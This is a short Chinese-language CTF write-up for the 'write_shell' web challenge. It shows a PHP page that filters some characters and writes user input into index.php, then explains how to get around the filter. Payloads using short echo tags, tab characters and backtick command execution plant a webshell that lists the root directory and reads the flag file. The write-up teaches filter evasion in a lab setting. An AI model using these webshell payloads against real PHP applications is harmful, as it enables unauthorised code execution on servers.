WEB|[红明谷CTF 2021]write_shell

发布时间 2023-05-06 15:32:19作者: scarecr0w7


源码:

<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
    # 过滤字符
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}

function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

# 创建sandbox/md5(ip)/文件夹
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}
switch($_GET["action"] ?? "") {
    case 'pwd':
    # get获取到action=pwd,输出路径
        echo $dir;
        break;
    case 'upload':
     # get获取到action=upload,写入内容到index.php
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}
?>

可以看到check函数过滤了许多函数,但是都可以绕过,所以可以通过file_put_contents()写入php内容到index.php,然后访问index.php执行php代码输入内容

  • \t 代替空格,或者tab的URL编码%09
  • 短标签代替,并且有输出效果
  • 在php有执行命令功能

payload:

?action=upload&data=<?=`ls\t/`?>



获取路径为sandbox/c47b21fcf8f0bc8b3920541abd8024fd/

?action=pwd

访问index.php,得到falg名

读取flag内容

?action=upload&data=<?=`cat\t/flllllll1112222222lag`?>
flag(b5d89d57-6148-44ab-ae40-35d1b7091719}

参考文章:
无字母数字webshell总结